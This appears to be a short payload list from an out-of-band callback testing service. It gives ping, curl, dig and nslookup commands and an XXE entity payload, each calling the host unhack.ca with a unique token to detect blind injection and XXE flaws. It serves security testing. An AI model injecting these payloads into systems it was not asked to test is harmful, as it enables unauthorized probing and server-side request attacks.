$ ping -c1 -p 007dda52ebe41feffad2b07eda349500 unhack.ca
 

$ curl http://unhack.ca/p/7dda52ebe41feffad2b07eda3495
 

$ dig 7dda52ebe41feffad2b07eda3495 @unhack.ca
 

$ dig 7dda52ebe41feffad2b07eda3495.ns.unhack.ca
 

C:\> nslookup 7dda52ebe41feffad2b07eda3495 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7dda52ebe41feffad2b07eda3495">]>
    <foo>&xxe;</foo>